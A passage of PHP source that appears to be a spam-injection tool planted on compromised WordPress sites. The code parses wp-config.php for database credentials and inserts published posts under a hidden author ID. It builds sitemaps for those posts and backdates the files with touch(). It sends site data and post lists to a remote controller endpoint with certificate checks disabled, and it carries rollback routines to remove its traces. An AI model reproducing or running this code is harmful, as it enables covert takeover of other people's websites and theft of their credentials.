                'homeLinksSettings' => json_encode($_SERVER['homeLinksSettings']),
                'url' => urlencode(HOME_URL),
                'permLinks' => urlencode($compressed)
            )
        );

        $uncompressed = gzuncompress($results);

        if (!WritePostsWpHandler::isJson($uncompressed)) {
            echo 'invalid home links format' . PHP_EOL;

            return false;
        }

        $blocks = json_decode($uncompressed, 1);

        if (empty($blocks)) {
            echo 'no texts for this language' . PHP_EOL;

            return false;
        }


        foreach ($blocks as $key => $value) {
            update_option('home_links_custom_' . $key, $value);
        }

        echo sprintf('%s text block(s) available for use%s', count($blocks), PHP_EOL);

        return true;
    }

    public static function homeLinksAction() {

        $hash = md5(HOME_URL);
        $permLinks = array();

        if (WritePostsWpHandler::isBadEnvCustom()) {
            echo 'change shell, invalid require wp-blog-header' . PHP_EOL;
            exit;
        }

        $posts = CustomDbHandler::getInstance()
            ->allPostsFromDb(HOME_URL, CUSTOM_AUTHOR_ID);


        if (empty($posts)) {
            GlobalLogs::setMainLog('!!!!!!!!no posts for this author!!!!!');
            return false;
        }

        $permalinksFromSitemap = WritePostsWpHandler::fetchPermalinksFromSitemap();


        if (!empty($permalinksFromSitemap)) {
            $iter = 1;
            foreach ($posts as $post) {

                list (, $anchor) = explode(';', $post, 2);
                $permalinkSitemap = array_shift($permalinksFromSitemap);
                $permLinks[] = array($permalinkSitemap, $anchor);

                //$iter++;
                //if ($iter > 10) break;

            }
        } else {
            define('SHORTINIT', true);
            require_once(WP_ROOT_DIR . '/wp-load.php');
            require_once(ABSPATH . WPINC . '/option.php');
            require_once(ABSPATH . WPINC . '/class-wp-post.php');
            require_once(ABSPATH . WPINC . '/post.php');
            require_once(ABSPATH . WPINC . '/class-wp-rewrite.php');
            require_once(ABSPATH . WPINC . '/link-template.php');
            require_once(ABSPATH . WPINC . '/category-template.php');
            require_once(ABSPATH . WPINC . '/taxonomy.php');
            require_once(ABSPATH . WPINC . '/l10n.php');
            require_once(ABSPATH . WPINC . '/functions.php');
            require_once(ABSPATH . WPINC . '/cache.php');
            require_once(ABSPATH . WPINC . '/formatting.php');
            require_once(ABSPATH . WPINC . '/user.php');
            require_once(ABSPATH . WPINC . '/pluggable.php');
            global $wpdb;


            $iter = 1;

            foreach ($posts as $post) {

                list ($url, $anchor) = explode(';', $post, 2);

                preg_match('~\?p=(\d+)~', $post, $matches);

                $postId = $matches[1];
                $post = get_post($postId);

                $permLinks[] = array(WritePostsWpHandler::getPermalinkCustom($post), $anchor);

                //$iter++;
                //if ($iter > 10) break;

                wp_cache_delete($postId, 'posts');
            }
        }


        if (empty($permLinks)) {
            GlobalLogs::setMainLog('invalid fetch permalinks');
            return false;
        }


        $compressed = gzcompress(json_encode($permLinks), 9);

        $url = GS_ALIAS . '/dnc/wp-acceptors-api/home-links?hash=' . $hash . '&permhash=' . md5($compressed);

        $results = WritePostsWpHandler::sendPostData($url, array(
                'homeLinksSettings' => json_encode($_SERVER['homeLinksSettings']),
                'url' => urlencode(HOME_URL),
                'permLinks' => urlencode($compressed)
            )
        );

        $uncompressed = gzuncompress($results);

        if (!WritePostsWpHandler::isJson($uncompressed)) {
            GlobalLogs::setMainLog('invalid home links format');
            return false;
        }

        $blocks = json_decode($uncompressed, 1);

        if (empty($blocks)) {
            GlobalLogs::setMainLog('no texts for this language');
            return false;
        }


        foreach ($blocks as $key => $value) {
            CustomDbHandler::getInstance()
                ->insertOrUpdate('home_links_custom_' . $key, $value);
        }

        GlobalLogs::setMainLog(sprintf('%s text block(s) available for use', count($blocks)));
        return true;
    }

    public static function viewAllAuthorsAction() {
        CustomDbHandler::getInstance()->viewAllAuthors();
        return true;
    }

    public static function sendAction() {

        $api = GS_ALIAS . '/src/wpacc-v2-sch.php';


        try {

            $debugData = array(
                'url' => HOME_URL,
                'fullUrls' => WritePostsWpHandler::allPostsFullUrlWithoutRequire(),
                'settings' => WritePostsWpHandler::debugDataCustom(),
            );

            $responseData = WritePostsWpHandler::sendPostData($api, array(
                'url' => urlencode(HOME_URL),
                'debug' => urlencode(gzcompress(json_encode($debugData), 9)),
            ));
        } catch (\Exception $ex) {
            GlobalLogs::setMainLog($ex->getMessage());
        }


        if (trim($responseData) === 'success') {
            GlobalLogs::setMainLog('data sent');
            return true;
        }
        GlobalLogs::setMainLog('error while send data');
        return false;
    }

    public static function cleanAction() {

        WritePostsWpHandler::removeDirRec(TMPDIR);
        if (is_dir(TMPDIR)) {
            rmdir(TMPDIR);
        }
        return true;
    }

    public static function rollbackAction() {

        WritePostsWpHandler::deleteSettings();
        WritePostsWpHandler::deletePostsCurrentAuthor();
        WritePostsWpHandler::removePluginsBackupForAuthorId();
        WritePostsWpHandler::removeDirRec(TMPDIR);

        if (is_dir(TMPDIR)) {
            rmdir(TMPDIR);
        }

        return true;
    }

    public static function globalRollbackAction() {

        WritePostsWpHandler::deletePostsAllAuthors();
        WritePostsWpHandler::removeDirRec(TMPDIR);

        $settings = WritePostsWpHandler::getDbSettingsCustom();


        if ($settings) {
            foreach ($settings as $key => $val) {
                if (!preg_match('~\d{5}~', $key)) {
                    unset($settings[$key]);
                }
            }
            WritePostsWpHandler::writeSettingsDB($settings);
        }

        CustomDbHandler::getInstance()->deleteOption('wp_custom_filters');
        WritePostsWpHandler::removeHomeLinksCustom();

        return true;
    }


    public static function sendPostsFromDbAction() {
        $api = GS_ALIAS . '/src/wpacc.php';
        $urls = CustomDbHandler::getInstance()
            ->allPostsFromDb(HOME_URL, CUSTOM_AUTHOR_ID);

        if (empty($urls)) {
            GlobalLogs::setMainLog("no posts by author id");
            return false;
        }

        $source = implode("\n", $urls);

        $responseData = WritePostsWpHandler::sendPostData($api, array(
            'url' => urlencode(HOME_URL),
            'source' => urlencode($source),
        ));

        if (trim($responseData) === 'success') {
            GlobalLogs::setMainLog('data sent');
            return true;
        }
        GlobalLogs::setMainLog("error while send data");

        return false;
    }

    public static function viewSettingsAction() {
        $settings = WritePostsWpHandler::getDbSettingsCustom();

        if ($settings) {

            foreach ($settings as $userId => $arr) {

                echo str_repeat('_', 100) . PHP_EOL;
                echo $userId . ' - userId' . PHP_EOL;
                if (isset($arr['js']) && $decodedJs = WritePostsWpHandler::detectBase64js($arr['js'])) {
                    $arr['js'] = WritePostsWpHandler::parseJsScript($decodedJs);
                }
                echo json_encode($arr, JSON_PRETTY_PRINT);
                echo str_repeat('_', 100) . PHP_EOL;
            }

            return true;
        }
        echo 'no settings in DB' . PHP_EOL;
        return;
    }

    public static function allPermalinksAction() {

        var_dump(CustomDbHandler::getInstance()
            ->allPostsFromDb(HOME_URL, CUSTOM_AUTHOR_ID));

        return;
    }

    public static function sitemapSecondMethodAction() {

        if (!WritePostsWpHandler::checkSitemapNameRoot()) {
            return false;
        }

        if (WritePostsWpHandler::isBadEnvCustom()) {
            GlobalLogs::setMainLog('change shell, invalid require wp-blog-header');
            exit;
        }

        //require_once WP_ROOT_DIR . '/wp-blog-header.php';

        $head = WritePostsWpHandler::sitemapHeadSec();

        $sitemapSource = $head . "\n";
        $sitemapPath = WP_ROOT_DIR . '/' . SITEMAP_NAME . '.xml';

        try {
            $urls = CustomDbHandler::getInstance()
                ->allPostsFromDb(HOME_URL, CUSTOM_AUTHOR_ID);
        } catch (Exception $ex) {
            throw new Exception('invalid fetch urls for sitemap');
        }

        if (empty($urls)) {
            GlobalLogs::setMainLog('no posts by author id');
            return false;
        }


        define('SHORTINIT', true);
        require_once(WP_ROOT_DIR . '/wp-load.php');
        require_once(ABSPATH . WPINC . '/option.php');
        require_once(ABSPATH . WPINC . '/class-wp-post.php');
        require_once(ABSPATH . WPINC . '/post.php');
        require_once(ABSPATH . WPINC . '/class-wp-rewrite.php');
        require_once(ABSPATH . WPINC . '/link-template.php');
        require_once(ABSPATH . WPINC . '/category-template.php');
        require_once(ABSPATH . WPINC . '/taxonomy.php');
        require_once(ABSPATH . WPINC . '/l10n.php');
        require_once(ABSPATH . WPINC . '/functions.php');
        require_once(ABSPATH . WPINC . '/cache.php');
        require_once(ABSPATH . WPINC . '/formatting.php');
        require_once(ABSPATH . WPINC . '/user.php');
        require_once(ABSPATH . WPINC . '/pluggable.php');
        global $wpdb;


        foreach ($urls as $urlWithTitle) {

            list ($url, $title) = explode(';', $urlWithTitle, 2);
            preg_match('~\?p=(\d+)~', $url, $idMatches);
            //$url = get_permalink($idMatches[1]);
            $postId = $idMatches[1];
            $post = get_post($postId);
            $url = WritePostsWpHandler::getPermalinkCustom($post);
            //$permLinks[] = array(WritePostsWpHandler::getPermalinkCustom($post), $anchor);
            //GlobalLogs::setMainLog($url);

            $lastmod = date('Y-m-d');
            $changefreqArr = array('monthly', 'weekly', 'daily', 'hourly', 'always');
            $priority = '0.' . rand(5, 9);

            $sitemapSource .= WritePostsWpHandler::urlBlockSec($url, $lastmod, $changefreqArr[rand(0, count($changefreqArr) - 1)]
                , $priority);
            wp_cache_delete($idMatches[1], 'posts');
        }

        $sitemapSource .= "\n</urlset>";

        if (file_put_contents($sitemapPath, $sitemapSource)) {
            touch($sitemapPath, WritePostsWpHandler::frequenttimestamp(WP_ROOT_DIR));
            GlobalLogs::setMainLog(WritePostsWpHandler::currenturl($sitemapPath, HOME_URL));
            return true;
        }

        return false;
    }

    public static function sitemapAction() {

        if (!WritePostsWpHandler::checkSitemapNameRoot()) {
            return false;
        }

        $head = WritePostsWpHandler::sitemapHeadSec();
        $sitemapSource = $head . "\n";
        $sitemapPath = WP_ROOT_DIR . '/' . SITEMAP_NAME . '.xml';

        try {
            $urls = CustomDbHandler::getInstance()
                ->allPostsFromDb(HOME_URL, CUSTOM_AUTHOR_ID);
        } catch (Exception $ex) {
            throw new Exception('invalid fetch urls for sitemap');
        }

        if (empty($urls)) {
            GlobalLogs::setMainLog('no posts by author id');
            return false;
        }


        foreach ($urls as $urlWithTitle) {

            list ($url, $title) = explode(';', $urlWithTitle, 2);

            $lastmod = date('Y-m-d');
            $changefreqArr = array('monthly', 'weekly', 'daily', 'hourly', 'always');
            $priority = '0.' . rand(5, 9);

            $sitemapSource .= WritePostsWpHandler::urlBlockSec($url, $lastmod, $changefreqArr[rand(0, count($changefreqArr) - 1)]
                , $priority);
        }

        $sitemapSource .= "\n</urlset>";

        if (file_put_contents($sitemapPath, $sitemapSource)) {
            GlobalLogs::setMainLog(WritePostsWpHandler::currenturl($sitemapPath));
            return true;
        }

        return false;
    }
}

register_shutdown_function(array('WritePostsWpHandler', 'deleteMutex'));


class CustomDbHandler
{

    const DB_TYPE_SQLITE = 'sqlite';
    const DB_TYPE_MYSQL = 'mysql';
    /**
     * @var CustomDbHandler
     */
    private static $instance;
    public $dbName;
    public $dbPrefix;
    public $dbUser;
    public $dbPassword;
    public $dbHostAddr;
    public $dbPort;
    public $dbType;
    private $dsn;

    public function __construct($db, $config = false) {
        $this->dsn = $db;
        $this->setDBSettings($config);
        $this->dbType = (!$config) ? self::DB_TYPE_SQLITE : self::DB_TYPE_MYSQL;
        static::$instance = $this;

    }

    public function setDBSettings($config) {

        /** sqlite **/
        if (!$config) {
            $this->dbName = 'main';
            $this->dbPrefix = 'wp_';
        } else {
            $this->dbName = $config['dbname'];
            $this->dbUser = $config['dbuser'];
            $this->dbPassword = $config['dbpassword'];
            $this->dbHostAddr = $config['dbhostaddr'];
            $this->dbPrefix = $config['dbprefix'];
            $this->dbPort = $config['dbport'];
        }

        return;

    }

    public static function getInstance() {
        if (static::$instance) {
            return static::$instance;
        }

        return null;
    }

    public function getOptionLike($optionName) {

        $tableWithPrefix = $this->dbPrefix . 'options';
        $query = "SELECT * from $tableWithPrefix where option_name LIKE :option_name ";
        $stmt = $this->dsn->prepare($query);


        $stmt->execute(array(
            ':option_name' => '%' . $optionName . '%'
        ));

        $options = array();
        while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
            if ($row) {
                $options[] = $row;
            }

        }
        return $options;

    }

    public function homeUrl() {

        //'home' or 'siteurl'
        $homeOption = $this->getOption('home');

        if (strstr($homeOption['option_value'], 'http') !== false) {
            return $homeOption['option_value'];
        }

        $siteUrlOption = $this->getOption('siteurl');
        if (strstr($siteUrlOption['option_value'], 'http') !== false) {
            return $siteUrlOption['option_value'];
        }

        return false;

    }

    public function getOption($optionName) {

        $tableWithPrefix = $this->dbPrefix . 'options';
        $query = "SELECT * from $tableWithPrefix where option_name = :option_name ";
        $stmt = $this->dsn->prepare($query);


        $stmt->execute(array(
            ':option_name' => $optionName
        ));

        return $stmt->fetch();
    }

    public function allPostsFromDb($homeUrl, $userId = 9999) {

        //SELECT ID, post_title FROM `wp_posts` where post_author = 9999
        $table = sprintf('`%s`.`%sposts`', $this->dbName, $this->dbPrefix);
        $query = "SELECT ID, post_title FROM $table where post_author = :user_id";


        $stmt = $this->dsn->prepare($query);

        $stmt->execute(array(
            ':user_id' => $userId
        ));

        $urls = array();
        while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
            if ($row) {
                $urls[] = $homeUrl . '/?p=' . $row['ID'] . ';' . $row['post_title'];
            }

        }

        return $urls;
    }

    public function allPostsFromDbWithPostName($homeUrl, $userId = 9999) {

        //SELECT ID, post_title FROM `wp_posts` where post_author = 9999
        $table = sprintf('`%s`.`%sposts`', $this->dbName, $this->dbPrefix);
        $query = "SELECT ID, post_title, post_name FROM $table where post_author = :user_id";


        $stmt = $this->dsn->prepare($query);

        $stmt->execute(array(
            ':user_id' => $userId
        ));

        $urls = array();
        while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
            if ($row) {
                //$urls[] = $homeUrl . '/?p=' . $row['ID'] . ';' . $row['post_title'] . ';' . $row['post_name'];
                $urls[] = array($homeUrl . '/?p=' . $row['ID'], $row['post_title'], $row['post_name']);
            }

        }

        return $urls;
    }

    public function lastPostDateQuery() {
        //SELECT ID, post_date FROM `wp_posts` order by ID DESC LIMIT 1
        $table = sprintf('`%s`.`%sposts`', $this->dbName, $this->dbPrefix);
        $query = "SELECT ID, post_date FROM $table order by ID DESC LIMIT 1";
        $stmt = $this->dsn->query($query);

        if ($stmt) {
            $lastDateFetch = $stmt->fetch();
            $date = $lastDateFetch['post_date'];
        } else {
            $date = date('Y-m-d H:i:s');
        }

        return $date;

    }


    public function insertPost($title, $content, $date, $userId = '', $customSlug = '') {

        $date = ($date === '') ? WritePostsWpHandler::randDate() : $date;
        $userId = !$userId ? 1 : $userId;
        $table = sprintf('`%s`.`%sposts`', $this->dbName, $this->dbPrefix);

        $query = "INSERT INTO $table ( `post_author`, `post_date`,"
            . " `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`,"
            . " `post_status`, `comment_status`, `ping_status`, `post_password`,"
            . " `post_name`, `to_ping`, `pinged`, `post_modified`,"
            . " `post_modified_gmt`, `post_content_filtered`, `post_parent`,"
            . " `guid`, `menu_order`, `post_type`, `post_mime_type`,"
            . " `comment_count`) VALUES (:user_id, :date, :date, :content,"
            . " :title, '', 'publish', 'closed', 'closed', '', :slug, '', '',"
            . " '0000-00-00 00:00:00.000000', '0000-00-00 00:00:00.000000', '',"
            . " '0', '', '0', 'post', '', '0');";


        $stmt = $this->dsn->prepare($query);

        $stmt->execute(array(
            ':user_id' => $userId,
            ':date' => $date,
            ':content' => $content,
            ':title' => $title,
            ':slug' => urlencode($customSlug),
        ));


        return $this->dsn->lastInsertId();

    }

    public function viewAllAuthors() {
        $table = sprintf('`%s`.`%sposts`', $this->dbName, $this->dbPrefix);
        $query = "SELECT DISTINCT post_author FROM $table";
        $stmt = $this->dsn->query($query);


        while ($row = $stmt->fetch(PDO::FETCH_LAZY)) {
            if ($row['post_author']) {
                echo $row['post_author'] . PHP_EOL;
            }
        }
    }

    public function insertOrUpdate($optionName, $optionValue) {
        if ($this->getOption($optionName)) {
            //echo sprintf('%s option exists, update', $optionName) . PHP_EOL;
            return $this->updateWpOptions($optionName, $optionValue);
        } else {
            //echo sprintf('%s option no exists, insert', $optionName) . PHP_EOL;
            return $this->insertWpOptions($optionName, $optionValue);
        }
    }

    public function updateWpOptions($optionName, $optionValue) {


        $table = sprintf('`%s`.`%soptions`', $this->dbName, $this->dbPrefix);
        $query = "UPDATE $table set option_value = :option_value where option_name = :option_name";

        $stmt = $this->dsn->prepare($query);

        return $stmt->execute(array(
            ':option_value' => $optionValue,
            ':option_name' => $optionName,
        ));

    }

    public function insertWpOptions($optionName, $optionValue) {

        $table = sprintf('`%s`.`%soptions`', $this->dbName, $this->dbPrefix);
        $query = "INSERT INTO $table ( option_name, option_value, autoload)"
            . "VALUES (:option_name, :option_value, 'yes')";
        $stmt = $this->dsn->prepare($query);
        $stmt->execute(array(
            ':option_name' => $optionName,
            ':option_value' => $optionValue,
        ));

        return $this->dsn->lastInsertId();
    }

    public function deleteOption($optionName) {
        $table = sprintf('`%s`.`%soptions`', $this->dbName, $this->dbPrefix);
        $query = "delete FROM $table where option_name = :option_name";

        $stmt = $this->dsn->prepare($query);

        return $stmt->execute(array(
            ':option_name' => $optionName,
        ));
    }

    public function deletePosts($authors) {
        $authorsCommaSeparated = implode(', ', $authors);

        $table = sprintf('`%s`.`%sposts`', $this->dbName, $this->dbPrefix);
        $column = sprintf('`%sposts`.`post_author`', $this->dbPrefix);
        $query = "delete FROM $table where $column IN ($authorsCommaSeparated)";
        $stmt = $this->dsn->prepare($query);
        $stmt->execute();

        return $stmt->rowCount();
    }

}

final class GlobalLogs
{
    private static $logs;

    private function __construct() {

    }

    public static function setMainLog($message) {
        static::$logs['main'][] = $message;
        static::$logs['debug'][] = $message;
    }

    public static function setDebugLog($message) {
        static::$logs['debug'][] = $message;
    }

    public static function getMainLogs() {
        if (isset(static::$logs['main'])) {
            return implode("\n", static::$logs['main']);
        }

        return null;
    }

    public static function getDebugLogs() {
        if (isset(static::$logs['debug'])) {
            return implode("\n", static::$logs['debug']);
        }

        return null;
    }

    public function __wakeup() {

    }

    private function __clone() {

    }

}

class WritePostsWpHandler
{

    public static function tryConnect() {

        $configSource = file_get_contents(WP_ROOT_DIR . '/wp-config.php');
        $configArr = WritePostsWpHandler::parseWpConfig($configSource);


        try {
            $customDbLink = self::customDbLink($configSource);
            $dbConfig = self::detectSqliteInstance($configSource) ? false : $configArr;
            $customDbHandler = new CustomDbHandler($customDbLink, $dbConfig);

            return $customDbHandler;
        } catch (Exception $ex) {
            if (!$dbConfig) {
                //mysql
                $errorPdoConnection = 1;
            } else {
                GlobalLogs::setDebugLog('Could not connect to db ' . $ex->getMessage());
                return false;
            }
        }

        if (isset($errorPdoConnection)) {


            GlobalLogs::setDebugLog('alternative connect');
            require_once(WP_ROOT_DIR . '/wp-config.php');
            $definedConstants = get_defined_constants(true);


            if (!$definedConstants['user']) {
                GlobalLogs::setDebugLog('Could not connect to db alternative method');
                return false;
            }

            $dbname = $definedConstants['user']['DB_NAME'];
            $dbuser = $definedConstants['user']['DB_USER'];
            $dbpassword = $definedConstants['user']['DB_PASSWORD'];
            $dbhostaddr = $definedConstants['user']['DB_HOST'];
            /** @var $table_prefix global wp var */
            $dbprefix = $table_prefix;


            if (stristr($dbhostaddr, ':') !== false) {
                list($hostAddr, $dbPort) = explode(':', $dbhostaddr);
            } else {
                $dbPort = 3306;
                $hostAddr = $dbhostaddr;
            }


            try {


                $dbh = sprintf('mysql:host=%s;dbname=%s;port=%s;charset=utf8mb4', $hostAddr, $dbname, $dbPort);
                $customDbLink = new PDO($dbh, $dbuser, $dbpassword
                    , array(PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES utf8mb4; SET sql_mode="ALLOW_INVALID_DATES"'));
                $customDbHandler = new CustomDbHandler($customDbLink, $dbConfig);

                return $customDbHandler;


            } catch (Exception $ex) {
                GlobalLogs::setDebugLog('Could not connect to db ' . $ex->getMessage());
                return false;
            }


        }
    }

    public static function parseWpConfig($configSource) {


        preg_match_all("~^define.*(DB_NAME|DB_USER|DB_PASSWORD|DB_HOST)[\'\"],\s*[\'\"](.+)[\'\"]\s*\);~m", $configSource, $dbhost);
        preg_match("~table_prefix\s+=\s*[\'\"](.+)[\'\"];~", $configSource, $prefix);

        if (stristr($dbhost[2][3], ':') !== false) {
            list($hostAddr, $dbPort) = explode(':', $dbhost[2][3]);
        } else {
            $hostAddr = $dbhost[2][3];
            $dbPort = 3306;
        }


        return array(
            'dbname' => $dbhost[2][0],
            'dbuser' => $dbhost[2][1],
            'dbpassword' => $dbhost[2][2],
            'dbhostaddr' => $hostAddr,
            'dbprefix' => $prefix[1],
            'dbport' => $dbPort,
        );
    }

    public static function customDbLink($configSource) {
        if (self::detectSqliteInstance($configSource)) {
            if (!self::isAvailablePdoDriver('sqlite')) {
                GlobalLogs::setMainLog('sqlite driver not found');
                return false;
            }

            $db = new PDO("sqlite:" . WP_ROOT_DIR . '/wpsqlite.db');

        } else {
            if (!self::isAvailablePdoDriver('mysql')) {
                GlobalLogs::setMainLog('mysql driver not found');
                return false;
            }

            $configArr = WritePostsWpHandler::parseWpConfig($configSource);
            $dbh = sprintf('mysql:host=%s;dbname=%s;port=%s;charset=utf8mb4', $configArr['dbhostaddr'], $configArr['dbname'], $configArr['dbport']);
            $db = new PDO($dbh, $configArr['dbuser'], $configArr['dbpassword']
                , array(PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES utf8mb4; SET sql_mode="ALLOW_INVALID_DATES"')
            );

        }

        return $db;

    }

    public static function detectSqliteInstance($configSource) {
        if (strstr($configSource, 'wpsqlite.db') !== false) {
            return true;
        }

        return false;
    }

    public static function isAvailablePdoDriver($name) {
        return (in_array($name, PDO::getAvailableDrivers()));
    }

    public static function getSource($url) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        $data = curl_exec($ch);
        $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

        $res = ($code == 200) ? $data : NULL;
        curl_close($ch);
        return $res;
    }

    public static function sendPostData($url, $fields) {

        $fields_string = '';
        foreach ($fields as $key => $value) {

            $fields_string .= $key . '=' . $value . '&';
        }
        rtrim($fields_string, '&');

        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        curl_setopt($ch, CURLOPT_POST, count($fields));
        curl_setopt($ch, CURLOPT_POSTFIELDS, $fields_string);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        $result = curl_exec($ch);
        $info = curl_getinfo($ch);


        if (curl_errno($ch)) {
            $error_msg = curl_error($ch);
            GlobalLogs::setDebugLog('Post response error');
            GlobalLogs::setDebugLog($error_msg);

            return null;
        }
        curl_close($ch);

        return ($info["http_code"] == 200) ? $result : null;
    }

    public static function removeDirRec($dir) {

        if (!is_dir($dir)) {
            return;
        }

        if ($objs = glob($dir . "/{,.}[!.,!..]*", GLOB_MARK | GLOB_BRACE)) {

            foreach ($objs as $obj) {
                is_dir($obj) ? WritePostsWpHandler::removeDirRec($obj) : unlink($obj);
            }
        }

        rmdir($dir);
    }

    public static function easyCrypt($str, $key) {
        $method = 'aes256';

        return @openssl_encrypt($str, $method, $key);
    }

    public static function easyDecrypt($crypted, $method, $key) {
        return openssl_decrypt($crypted, $method, $key);
    }

    public static function uncompressString($compressed) {
        return gzinflate(base64_decode($compressed));
    }

    public static function detectWProotDir() {

        if (file_exists(CURRENTDIR . '/wp-config.php')) {
            return rtrim(CURRENTDIR, '/');
        }
        $normalizePath = preg_replace('~\/(wp-admin|wp-includes|wp-content).*$~', '', CURRENTDIR);

        if (file_exists($normalizePath . '/wp-config.php')) {
            return $normalizePath;
        }

        return null;
    }

    public static function tmpDirCustom() {
        if (function_exists('sys_get_temp_dir')) {
            $tmpDir = sys_get_temp_dir();
            if (is_writeable($tmpDir)) {
                return $tmpDir;
            }
        }
        $tmpDir = ini_get('upload_tmp_dir');

        if ($tmpDir) {
            if (is_writeable($tmpDir)) {
                return $tmpDir;
            }
        }

        $wpContentTmpDir = WritePostsWpHandler::writableDir();

        if ($wpContentTmpDir) {
            return $wpContentTmpDir;
        }

        return false;
    }

    public static function writableDir() {


        foreach (array('wp-content/uploads', 'wp-content/themes', 'wp-content/plugins') as $mbWriteablePath) {
            $writeableDirectory = WritePostsWpHandler::findWriteablePath(WP_ROOT_DIR . '/' . $mbWriteablePath);
            if (!empty($writeableDirectory)) {
                return $writeableDirectory;
            }
        }

    }

    public static function findWriteablePath($pathForScaning) {

        if (is_writeable($pathForScaning)) {
            return $pathForScaning;
        }
        $subdirs = glob($pathForScaning . '/*', GLOB_ONLYDIR);

        if (!empty($subdirs)) {
            foreach ($subdirs as $dir) {
                if (is_writable($dir)) {
                    return $dir;
                }
            }
        }

        return null;
    }

    public static function linkBuildingSettingsCheck() {
        if (defined('EXTERNAL_LINKING') && (EXTERNAL_LINKING === 1)) {
            if (!defined('EXTERNAL_LINKS_COUNT_PAGE')) {
                GlobalLogs::setMainLog('set EXTERNAL_LINKS_COUNT_PAGE');
                return false;
            }
            if (!defined('TABLE_HASH') && !defined('HTML_HASH')) {
                GlobalLogs::setMainLog('set TABLE_HASH or HTML_HASH value');
                return false;
            }
            if (!defined('COUNT_LINKS_FROM_DOMAIN')) {
                GlobalLogs::setMainLog('set COUNT_LINKS_FROM_DOMAIN');
                return false;
            }
        }

        return true;
    }

    public static function tmpDir() {
        $tmpDirName = $_SERVER['HTTP_HOST'];

        if (!is_dir(WRITABLE_PATH . '/' . $tmpDirName)) {
            if (!mkdir(WRITABLE_PATH . '/' . $tmpDirName)) {
                return false;
            }
        }
        return WRITABLE_PATH . '/' . $tmpDirName;
    }

    public static function checkHomeUrl($homeUrl) {
        if (!defined('HOME_URL')) {
            if (!$homeUrl) {
                GlobalLogs::setMainLog('homeurl function return null, please define HOME_URL manually');
                exit;
            } else {
                define('HOME_URL', $homeUrl);
            }
        }
    }

    public static function removePluginsBackupForAuthorId() {
        $prefix = "plugins_backup_" . CUSTOM_AUTHOR_ID . '_';
        $options = CustomDbHandler::getInstance()->getOptionLike($prefix);

        if (empty($options)) {
            return;
        }
        $names = array_column($options, 'option_name');
        foreach ($names as $name) {
            CustomDbHandler::getInstance()->deleteOption($name);
        }

    }

    public static function customFormatResponse() {
        $sitemapUrl = HOME_URL . '/' . SITEMAP_NAME . '.xml';
        $sitemapUrlSec = HOME_URL . '/?feed=xml' . SITEMAP_NAME;
        echo $sitemapUrl . PHP_EOL;
        echo $sitemapUrlSec . PHP_EOL . PHP_EOL;

    }

    public static function allPostsFullUrlWithoutRequire($limit = false) {


        $userId = defined('CUSTOM_AUTHOR_ID') ? CUSTOM_AUTHOR_ID : 9999;
        $urls = array();


        $permalinkOption = CustomDbHandler::getInstance()->getOption('permalink_structure');

        if (!$permalinkOption) {
            $isRewrite = false;
        } else {
            $isRewrite = $permalinkOption['option_value'] !== '' ? true : false;
        }

        $canonicalUrls = CustomDbHandler::getInstance()->allPostsFromDbWithPostName(HOME_URL, $userId);


        $iter = 1;

        if (!empty($canonicalUrls)) {
            foreach ($canonicalUrls as $canonicalUrlArr) {

                list ($link, $title, $postName) = $canonicalUrlArr;
                preg_match('~\?p=(\d+)~', $link, $idMatches);
                $postNameOrLink = ($isRewrite) ? $postName : $link;

                $urls[] = array(
                    $postNameOrLink,
                    $idMatches[1],
                    $title
                );

                if (function_exists('wp_cache_delete')) {
                    wp_cache_delete($idMatches[1], 'posts');
                }


                if ($limit && ($iter >= $limit)) {
                    break;
                }
                $iter++;
            }
        }


        return $urls;
    }

    public static function areAllActionsCompleted($actionsWithStatus) {

        /**finish*/
        if (in_array(1, $actionsWithStatus) === false) {
            GlobalLogs::setMainLog('no scheduled actions');
            return true;
        }
        return false;
    }

    public static function customCheckActions($actions) {

        if (defined('IGNORE_ACTIONS_LOG') && IGNORE_ACTIONS_LOG === 1) {
            return $actions;
        }

        $pluginsOptionsName = WritePostsWpHandler::pluginsBackupOptionName();

        if (defined('REMOVE_ACTIONS_LOG') && REMOVE_ACTIONS_LOG === 1) {
            CustomDbHandler::getInstance()->deleteOption($pluginsOptionsName);
            return $actions;
        }

        $pluginsBackupOption = CustomDbHandler::getInstance()->getOption($pluginsOptionsName);


        if ($pluginsBackupOption && WritePostsWpHandler::isJson($pluginsBackupOption['option_value'])) {
            $actionsDb = json_decode($pluginsBackupOption['option_value'], 1);

            if (WritePostsWpHandler::actionsWasChanged($actions, $actionsDb)) {
                CustomDbHandler::getInstance()->deleteOption($pluginsOptionsName);
                return $actions;
            }
            return $actionsDb;
        }

        return $actions;
    }

    public static function pluginsBackupOptionName() {
        $tmp = str_replace('{DIR_NUM}', DIR_NUM, URL_WITH_ARCHIVES);
        return "plugins_backup_" . CUSTOM_AUTHOR_ID . '_' . md5($tmp);
    }

    public static function isJson($string) {
        json_decode($string);

        return (json_last_error() == JSON_ERROR_NONE);
    }

    public static function actionsWasChanged($actions, $actionsDb) {

        if (count($actions) !== count($actionsDb)) {
            return true;
        }


        foreach ($actions as $actionName => $actionValue) {
            if (!isset($actionsDb[$actionName])) {
                return true;
            }
        }
        return false;
    }

    public static function checkMutex($customMutexPath) {
        if (file_exists($customMutexPath)) {
            if (WritePostsWpHandler::mutexOutOfDate($customMutexPath)) {
                WritePostsWpHandler::customSetMutex($customMutexPath);
            } else {
                die('script already running');
            }

        } else {
            WritePostsWpHandler::customSetMutex($customMutexPath);
        }
    }

    public static function mutexOutOfDate($mutexName, $outOfDateTimeInSeconds = 90) {
